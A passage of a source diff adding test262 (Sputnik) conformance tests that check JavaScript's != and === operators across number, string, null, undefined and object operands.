+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A4.2.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is +0(-0) and y is -0(+0), return false
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A4.2.js
+ * @description Checking all combinations
+ */
+
+//CHECK#1
+if ((+0 != -0) !== false) {
+ $ERROR('#1: (+0 != -0) === false');
+}
+
+//CHECK#2
+if ((-0 != +0) !== false) {
+ $ERROR('#2: (-0 != +0) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A4.3.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A4.3.js
new file mode 100644
index 000000000..21cc16ee1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A4.3.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Type(x) and Type(y) are Number-s minus NaN, +0, -0.
+ * Return false, if x is the same number value as y; otherwise, return true
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A4.3.js
+ * @description x and y are primitive numbers
+ */
+
+//CHECK#1
+if ((Number.POSITIVE_INFINITY != Number.POSITIVE_INFINITY) !== false) {
+ $ERROR('#1: (+Infinity != +Infinity) === false');
+}
+
+//CHECK#2
+if ((Number.NEGATIVE_INFINITY != Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#2: (-Infinity != -Infinity) === false');
+}
+
+//CHECK#3
+if ((Number.POSITIVE_INFINITY != -Number.NEGATIVE_INFINITY) !== false) {
+ $ERROR('#3: (+Infinity != -(-Infinity)) === false');
+}
+
+//CHECK#4
+if ((1 != 0.999999999999) !== true) {
+ $ERROR('#4: (1 != 0.999999999999) === true');
+}
+
+//CHECK#5
+if ((1.0 != 1) !== false) {
+ $ERROR('#5: (1.0 != 1) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A5.1.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A5.1.js
new file mode 100644
index 000000000..9476d907a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A5.1.js
@@ -0,0 +1,46 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Type(x) and Type(y) are String-s.
+ * Return true, if x and y are exactly the same sequence of characters; otherwise, return false
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A5.1.js
+ * @description x and y are primitive strings
+ */
+
+//CHECK#1
+if (("" != "") !== false) {
+ $ERROR('#1: ("" != "") === false');
+}
+
+//CHECK#2
+if ((" " != " ") !== false) {
+ $ERROR('#2: " (" != " ") === false');
+}
+
+//CHECK#3
+if ((" " != "") !== true) {
+ $ERROR('#3: " (" != "") === true');
+}
+
+//CHECK#4
+if (("string" != "string") !== false) {
+ $ERROR('#4: ("string" != "string") === false');
+}
+
+//CHECK#5
+if ((" string" != "string ") !== true) {
+ $ERROR('#5: (" string" != "string ") === true');
+}
+
+//CHECK#6
+if (("1.0" != "1") !== true) {
+ $ERROR('#6: ("1.0" != "1") === true');
+}
+
+//CHECK#7
+if (("0xff" != "255") !== true) {
+ $ERROR('#7: ("0xff" != "255") === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A5.2.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A5.2.js
new file mode 100644
index 000000000..f63ffc17d
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A5.2.js
@@ -0,0 +1,36 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is Number and Type(y) is String,
+ * return the result of comparison x != ToNumber(y)
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A5.2.js
+ * @description x is primitive number, y is primitive string
+ */
+
+//CHECK#1
+if ((1 != "1") !== false) {
+ $ERROR('#1: (1 != "1") === false');
+}
+
+//CHECK#2
+if ((1.100 != "+1.10") !== false) {
+ $ERROR('#2: (1.100 != "+1.10") === false');
+}
+
+//CHECK#3
+if ((1 != "true") !== true) {
+ $ERROR('#3: (1 != "true") === true');
+}
+
+//CHECK#4
+if ((255 != "0xff") !== false) {
+ $ERROR('#4: (255 != "0xff") === false');
+}
+
+//CHECK#5
+if ((0 != "") !== false) {
+ $ERROR('#5: (0 != "") === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A5.3.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A5.3.js
new file mode 100644
index 000000000..dedd18ce0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A5.3.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is String and Type(y) is Number,
+ * return the result of comparison ToNumber(x) != y
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A5.3.js
+ * @description x is primitive string, y is primitive number
+ */
+
+//CHECK#1
+if (("-1" != -1) !== false) {
+ $ERROR('#1: ("-1" != -1) === false');
+}
+
+//CHECK#2
+if (("-1.100" != -1.10) !== false) {
+ $ERROR('#2: ("-1.100" != -1.10) === false');
+}
+
+//CHECK#3
+if (("false" != 0) !== true) {
+ $ERROR('#3: ("false" != 0) === true');
+}
+
+//CHECK#4
+if (("5e-324" != 5e-324) !== false) {
+ $ERROR('#4: ("5e-324" != 5e-324) === false');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A6.1.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A6.1.js
new file mode 100644
index 000000000..8d0cfcd35
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A6.1.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) as well as Type(y) is Undefined or Null, return true
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A6.1.js
+ * @description Checking all combinations
+ */
+
+//CHECK#1
+if ((undefined != undefined) !== false) {
+ $ERROR('#1: (undefined != undefined) === false');
+}
+
+//CHECK#2
+if ((void 0 != undefined) !== false) {
+ $ERROR('#2: (void 0 != undefined) === false');
+}
+
+//CHECK#3
+if ((undefined != eval("var x")) !== false) {
+ $ERROR('#3: (undefined != eval("var x")) === false');
+}
+
+//CHECK#4
+if ((undefined != null) !== false) {
+ $ERROR('#4: (undefined != null) === false');
+}
+
+//CHECK#5
+if ((null != void 0) !== false) {
+ $ERROR('#5: (null != void 0) === false');
+}
+
+//CHECK#6
+if ((null != null) !== false) {
+ $ERROR('#6: (null != null) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A6.2_T1.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A6.2_T1.js
new file mode 100644
index 000000000..e9a60e124
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A6.2_T1.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If one expression is undefined or null and another is not, return false
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A6.2_T1.js
+ * @description x is null or undefined, y is not
+ */
+
+//CHECK#1
+if ((undefined != true) !== true) {
+ $ERROR('#1: (undefined != true) === true');
+}
+
+//CHECK#2
+if ((undefined != 0) !== true) {
+ $ERROR('#2: (undefined != 0) === true');
+}
+
+//CHECK#3
+if ((undefined != "undefined") !== true) {
+ $ERROR('#3: (undefined != "undefined") === true');
+}
+
+//CHECK#4
+if ((undefined != {}) !== true) {
+ $ERROR('#4: (undefined != {}) === true');
+}
+
+//CHECK#5
+if ((null != false) !== true) {
+ $ERROR('#5: (null != false) === true');
+}
+
+//CHECK#6
+if ((null != 0) !== true) {
+ $ERROR('#6: (null != 0) === true');
+}
+
+//CHECK#7
+if ((null != "null") !== true) {
+ $ERROR('#7: (null != "null") === true');
+}
+
+//CHECK#8
+if ((null != {}) !== true) {
+ $ERROR('#8: (null != {}) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A6.2_T2.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A6.2_T2.js
new file mode 100644
index 000000000..05b592b48
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A6.2_T2.js
@@ -0,0 +1,50 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If one expression is undefined or null and another is not, return false
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A6.2_T2.js
+ * @description y is null or undefined, x is not
+ */
+
+//CHECK#1
+if ((false != undefined) !== true) {
+ $ERROR('#1: (false != undefined) === true');
+}
+
+//CHECK#2
+if ((Number.NaN != undefined) !== true) {
+ $ERROR('#2: (Number.NaN != undefined) === true');
+}
+
+//CHECK#3
+if (("undefined" != undefined) !== true) {
+ $ERROR('#3: ("undefined" != undefined) === true');
+}
+
+//CHECK#4
+if (({} != undefined) !== true) {
+ $ERROR('#4: ({} != undefined) === true');
+}
+
+//CHECK#5
+if ((false != null) !== true) {
+ $ERROR('#5: (false != null) === true');
+}
+
+//CHECK#6
+if ((0 != null) !== true) {
+ $ERROR('#6: (0 != null) === true');
+}
+
+//CHECK#7
+if (("null" != null) !== true) {
+ $ERROR('#7: ("null" != null) === true');
+}
+
+//CHECK#8
+if (({} != null) !== true) {
+ $ERROR('#8: ({} != null) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.1.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.1.js
new file mode 100644
index 000000000..66b468892
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.1.js
@@ -0,0 +1,53 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Type(x) and Type(y) are Object-s.
+ * Return true, if x and y are references to the same Object; otherwise, return false
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A7.1.js
+ * @description Checking Boolean object, Number object, String object, Object object
+ */
+
+//CHECK#1
+if ((new Boolean(true) != new Boolean(true)) !== true) {
+ $ERROR('#1: (new Boolean(true) != new Boolean(true)) === true');
+}
+
+//CHECK#2
+if ((new Number(1) != new Number(1)) !== true) {
+ $ERROR('#2: (new Number(1) != new Number(1)) === true');
+}
+
+//CHECK#3
+if ((new String("x") != new String("x")) !== true) {
+ $ERROR('#3: (new String("x") != new String("x")) === true');
+}
+
+//CHECK#4
+if ((new Object() != new Object()) !== true) {
+ $ERROR('#4: (new Object() != new Object()) === true');
+}
+
+//CHECK#5
+x = {};
+y = x;
+if ((x != y) !== false) {
+ $ERROR('#5: x = {}; y = x; (x != y) === false');
+}
+
+//CHECK#6
+if ((new Boolean(true) != new Number(1)) !== true) {
+ $ERROR('#6 (new Boolean(true) != new Number(1)) === true');
+}
+
+//CHECK#7
+if ((new Number(1) != new String("1")) !== true) {
+ $ERROR('#7: (new Number(1) != new String("1")) === true');
+}
+
+//CHECK#8
+if ((new String("1") != new Boolean(true)) !== true) {
+ $ERROR('#8: (new String("x") != new Boolean(true)) === true');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.2.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.2.js
new file mode 100644
index 000000000..44252a045
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is Object and Type(y) is Boolean,
+ * return ToPrimitive(x) != y
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A7.2.js
+ * @description x is object, y is primitive boolean
+ */
+
+//CHECK#1
+if ((new Boolean(true) != true) !== false) {
+ $ERROR('#1: (new Boolean(true) != true) === false');
+}
+
+//CHECK#2
+if ((new Number(1) != true) !== false) {
+ $ERROR('#2: (new Number(1) != true) === false');
+}
+
+//CHECK#3
+if ((new String("1") != true) !== false) {
+ $ERROR('#3: (new String("1") != true) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.3.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.3.js
new file mode 100644
index 000000000..7bd33386e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.3.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is Boolean and Type(y) is Object,
+ * return x != ToPrimitive(y)
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A7.3.js
+ * @description y is object, x is primitive boolean
+ */
+
+//CHECK#1
+if ((true != new Boolean(true)) !== false) {
+ $ERROR('#1: (true != new Boolean(true)) === false');
+}
+
+//CHECK#2
+if ((true != new Number(1)) !== false) {
+ $ERROR('#2: (true != new Number(1)) === false');
+}
+
+//CHECK#3
+if ((true != new String("+1")) !== false) {
+ $ERROR('#3: (true != new String("+1")) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.4.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.4.js
new file mode 100644
index 000000000..c13672d52
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.4.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is Object and Type(y) is Number,
+ * return ToPrimitive(x) != y
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A7.4.js
+ * @description x is object, y is primitive number
+ */
+
+//CHECK#1
+if ((new Boolean(true) != 1) !== false) {
+ $ERROR('#1: (new Boolean(true) != 1) === false');
+}
+
+//CHECK#2
+if ((new Number(-1) != -1) !== false) {
+ $ERROR('#2: (new Number(-1) != -1) === false');
+}
+
+//CHECK#3
+if ((new String("-1") != -1) !== false) {
+ $ERROR('#3: (new String("-1") != -1) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.5.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.5.js
new file mode 100644
index 000000000..c6cfc4976
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.5.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is Number and Type(y) is Object,
+ * return x != ToPrimitive(y)
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A7.5.js
+ * @description y is object, x is primitive number
+ */
+
+//CHECK#1
+if ((1 != new Boolean(true)) !== false) {
+ $ERROR('#1: (1 != new Boolean(true)) === false');
+}
+
+//CHECK#2
+if ((-1 != new Number(-1)) !== false) {
+ $ERROR('#2: (-1 != new Number(-1)) === false');
+}
+
+//CHECK#3
+if ((-1 != new String("-1")) !== false) {
+ $ERROR('#3: (-1 != new String("-1")) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.6.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.6.js
new file mode 100644
index 000000000..286b9d4d0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.6.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is Object and Type(y) is String,
+ * return ToPrimitive(x) != y
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A7.6.js
+ * @description x is object, y is primitive string
+ */
+
+//CHECK#1
+if ((new Boolean(true) != "1") !== false) {
+ $ERROR('#1: (new Boolean(true) != "1") === false');
+}
+
+//CHECK#2
+if ((new Number(-1) != "-1") !== false) {
+ $ERROR('#2: (new Number(-1) != "-1") === false');
+}
+
+//CHECK#3
+if ((new String("x") != "x") !== false) {
+ $ERROR('#3: (new String("x") != "x") === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.7.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.7.js
new file mode 100644
index 000000000..cdc8161e0
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.7.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is String and Type(y) is Object,
+ * return x != ToPrimitive(y)
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A7.7.js
+ * @description y is object, x is primitive string
+ */
+
+//CHECK#1
+if (("1" != new Boolean(true)) !== false) {
+ $ERROR('#1: ("1" != new Boolean(true)) === false');
+}
+
+//CHECK#2
+if (("-1" != new Number(-1)) !== false) {
+ $ERROR('#2: ("-1" != new Number(-1)) === false');
+}
+
+//CHECK#3
+if (("x" != new String("x")) !== false) {
+ $ERROR('#3: ("x" != new String("x")) === false');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.8.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.8.js
new file mode 100644
index 000000000..cf9766d79
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.8.js
@@ -0,0 +1,76 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is Object and Type(y) is primitive type,
+ * return ToPrimitive(x) != y
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A7.8.js
+ * @description x is object, y is primtitive
+ */
+
+//CHECK#1
+if ((true != {valueOf: function() {return 1}}) !== false) {
+ $ERROR('#1: (true != {valueOf: function() {return 1}}) === false');
+}
+
+//CHECK#2
+if ((1 != {valueOf: function() {return 1}, toString: function() {return 0}}) !== false) {
+ $ERROR('#2: (1 != {valueOf: function() {return 1}, toString: function() {return 0}}) === false');
+}
+
+//CHECK#3
+if (("+1" != {valueOf: function() {return 1}, toString: function() {return {}}}) !== false) {
+ $ERROR('#3: ("+1" != {valueOf: function() {return 1}, toString: function() {return {}}}) === false');
+}
+
+//CHECK#4
+try {
+ if ((true != {valueOf: function() {return "+1"}, toString: function() {throw "error"}}) !== false) {
+ $ERROR('#4.1: (true != {valueOf: function() {return "+1"}, toString: function() {throw "error"}}) === false');
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: (true != {valueOf: function() {return "+1"}, toString: function() {throw "error"}}) not throw "error"');
+ } else {
+ $ERROR('#4.3: (true != {valueOf: function() {return "+1"}, toString: function() {throw "error"}}) not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+if ((1 != {toString: function() {return "+1"}}) !== false) {
+ $ERROR('#5: (1 != {toString: function() {return "+1"}}) === false');
+}
+
+//CHECK#6
+if (("1" != {valueOf: function() {return {}}, toString: function() {return "+1"}}) !== true) {
+ $ERROR('#6.1: ("1" != {valueOf: function() {return {}}, toString: function() {return "+1"}}) === true');
+} else {
+ if (("+1" != {valueOf: function() {return {}}, toString: function() {return "+1"}}) !== false) {
+ $ERROR('#6.2: ("+1" != {valueOf: function() {return {}}, toString: function() {return "+1"}}) === false');
+ }
+}
+
+//CHECK#7
+try {
+ (1 != {valueOf: function() {throw "error"}, toString: function() {return 1}});
+ $ERROR('#7: (1 != {valueOf: function() {throw "error"}, toString: function() {return 1}}) throw "error"');
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7: (1 != {valueOf: function() {throw "error"}, toString: function() {return 1}}) throw "error"');
+ }
+}
+
+//CHECK#8
+try {
+ (1 != {valueOf: function() {return {}}, toString: function() {return {}}});
+ $ERROR('#8: (1 != {valueOf: function() {return {}}, toString: function() {return {}}}) throw TypeError');
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8: (1 != {valueOf: function() {return {}}, toString: function() {return {}}}) throw TypeError');
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.9.js b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.9.js
new file mode 100644
index 000000000..c1ccc5f32
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/S11.9.2_A7.9.js
@@ -0,0 +1,76 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If Type(x) is primitive type and Type(y) is Object,
+ * return x != ToPrimitive(y)
+ *
+ * @path ch11/11.9/11.9.2/S11.9.2_A7.9.js
+ * @description y is object, x is primtitive
+ */
+
+//CHECK#1
+if (({valueOf: function() {return 1}} != true) !== false) {
+ $ERROR('#1: ({valueOf: function() {return 1}} != true) === false');
+}
+
+//CHECK#2
+if (({valueOf: function() {return 1}, toString: function() {return 0}} != 1) !== false) {
+ $ERROR('#2: ({valueOf: function() {return 1}, toString: function() {return 0}} != 1) === false');
+}
+
+//CHECK#3
+if (({valueOf: function() {return 1}, toString: function() {return {}}} != "+1") !== false) {
+ $ERROR('#3: ({valueOf: function() {return 1}, toString: function() {return {}}} != "+1") === false');
+}
+
+//CHECK#4
+try {
+ if (({valueOf: function() {return "+1"}, toString: function() {throw "error"}} != true) !== false) {
+ $ERROR('#4.1: ({valueOf: function() {return "+1"}, toString: function() {throw "error"}} != true) === false');
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: ({valueOf: function() {return "+1"}, toString: function() {throw "error"}} != true) not throw "error"');
+ } else {
+ $ERROR('#4.3: ({valueOf: function() {return "+1"}, toString: function() {throw "error"}} != true) not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+if (({toString: function() {return "+1"}} != 1) !== false) {
+ $ERROR('#5: ({toString: function() {return "+1"}} != 1) === false');
+}
+
+//CHECK#6
+if (({valueOf: function() {return {}}, toString: function() {return "+1"}} != "1") !== true) {
+ $ERROR('#6.1: ({valueOf: function() {return {}}, toString: function() {return "+1"}} != "1") === true');
+} else {
+ if (({valueOf: function() {return {}}, toString: function() {return "+1"}} != "+1") !== false) {
+ $ERROR('#6.2: ({valueOf: function() {return {}}, toString: function() {return "+1"}} != "+1") === false');
+ }
+}
+
+//CHECK#7
+try {
+ ({valueOf: function() {throw "error"}, toString: function() {return 1}} != 1);
+ $ERROR('#7.1: ({valueOf: function() {throw "error"}, toString: function() {return 1}} != 1) throw "error". Actual: ' + (({valueOf: function() {throw "error"}, toString: function() {return 1}} != 1)));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: ({valueOf: function() {throw "error"}, toString: function() {return 1}} != 1) throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ ({valueOf: function() {return {}}, toString: function() {return {}}} != 1);
+ $ERROR('#8.1: ({valueOf: function() {return {}}, toString: function() {return {}}} != 1) throw TypeError. Actual: ' + (({valueOf: function() {return {}}, toString: function() {return {}}} != 1)));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: ({valueOf: function() {return {}}, toString: function() {return {}}} != 1) throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/browser.js b/js/src/tests/test262/ch11/11.9/11.9.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/browser.js
diff --git a/js/src/tests/test262/ch11/11.9/11.9.2/shell.js b/js/src/tests/test262/ch11/11.9/11.9.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.2/shell.js
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A1.js b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A1.js
new file mode 100644
index 000000000..410fe3962
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between EqualityExpression and "===" or between "===" and RelationalExpression are allowed
+ *
+ * @path ch11/11.9/11.9.4/S11.9.4_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (!(eval("1\u0009===\u00091"))) {
+ $ERROR('#1: 1\\u0009===\\u00091');
+}
+
+//CHECK#2
+if (!(eval("1\u000B===\u000B1"))) {
+ $ERROR('#2: 1\\u000B===\\u000B1');
+}
+
+//CHECK#3
+if (!(eval("1\u000C===\u000C1"))) {
+ $ERROR('#3: 1\\u000C===\\u000C1');
+}
+
+//CHECK#4
+if (!(eval("1\u0020===\u00201"))) {
+ $ERROR('#4: 1\\u0020===\\u00201');
+}
+
+//CHECK#5
+if (!(eval("1\u00A0===\u00A01"))) {
+ $ERROR('#5: 1\\u00A0===\\u00A01');
+}
+
+//CHECK#6
+if (!(eval("1\u000A===\u000A1"))) {
+ $ERROR('#6: 1\\u000A===\\u000A1');
+}
+
+//CHECK#7
+if (!(eval("1\u000D===\u000D1"))) {
+ $ERROR('#7: 1\\u000D===\\u000D1');
+}
+
+//CHECK#8
+if (!(eval("1\u2028===\u20281"))) {
+ $ERROR('#8: 1\\u2028===\\u20281');
+}
+
+//CHECK#9
+if (!(eval("1\u2029===\u20291"))) {
+ $ERROR('#9: 1\\u2029===\\u20291');
+}
+
+//CHECK#10
+if (!(eval("1\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u2029===\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291"))) {
+ $ERROR('#10: 1\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u2029===\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291');
+}
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A2.1_T1.js b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A2.1_T1.js
new file mode 100644
index 000000000..b9a1958cb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A2.1_T1.js
@@ -0,0 +1,44 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x === y uses GetValue
+ *
+ * @path ch11/11.9/11.9.4/S11.9.4_A2.1_T1.js
+ * @description Either Type is not Reference or GetBase is not null
+ */
+
+//CHECK#1
+if (!(1 === 1)) {
+ $ERROR('#1: 1 === 1');
+}
+
+//CHECK#2
+var x = 1;
+if (!(x === 1)) {
+ $ERROR('#2: var x = 1; x === 1');
+}
+
+//CHECK#3
+var y = 1;
+if (!(1 === y)) {
+ $ERROR('#3: var y = 1; 1 === y');
+}
+
+//CHECK#4
+var x = 1;
+var y = 1;
+if (!(x === y)) {
+ $ERROR('#4: var x = 1; var y = 1; x === y');
+}
+
+//CHECK#5
+var objectx = new Object();
+var objecty = new Object();
+objectx.prop = 1;
+objecty.prop = 1;
+if (!(objectx.prop === objecty.prop)) {
+ $ERROR('#5: var objectx = new Object(); var objecty = new Object(); objectx.prop = 1; objecty.prop = 1; objectx.prop === objecty.prop');
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A2.1_T2.js b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A2.1_T2.js
new file mode 100644
index 000000000..c0741ccd1
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A2.1_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x === y uses GetValue
+ *
+ * @path ch11/11.9/11.9.4/S11.9.4_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ x === 1;
+ $ERROR('#1.1: x === 1 throw ReferenceError. Actual: ' + (x === 1));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: x === 1 throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A2.1_T3.js b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A2.1_T3.js
new file mode 100644
index 000000000..dc50a2505
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.9/11.9.4/S11.9.4_A2.1_T3.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator x === y uses GetValue
+ *
+ * @path ch11/11.9/11.9.4/S11.9.4_A2.1_T3.js
+ * @description If GetBase(y) is null, throw ReferenceError
+ */
+
+//CHECK#1
